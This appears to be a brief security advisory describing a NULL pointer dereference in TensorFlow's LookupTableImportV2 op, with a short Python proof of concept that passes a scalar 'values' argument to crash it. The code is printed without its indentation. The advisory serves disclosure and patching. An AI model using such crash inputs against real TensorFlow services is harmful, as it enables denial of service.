Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to NULL Pointer Dereference. The function tf.raw_ops.LookupTableImportV2 cannot handle scalars in the values parameter and gives a null pointer exception.
PoC
import tensorflow as tf
v = tf.Variable(1)
@tf.function(jit_compile=True)
def test():
func = tf.raw_ops.LookupTableImportV2
para={'table_handle': v.handle,'keys': [62.98910140991211, 94.36528015136719], 'values': -919}
y = func(**para)
return y
print(test())
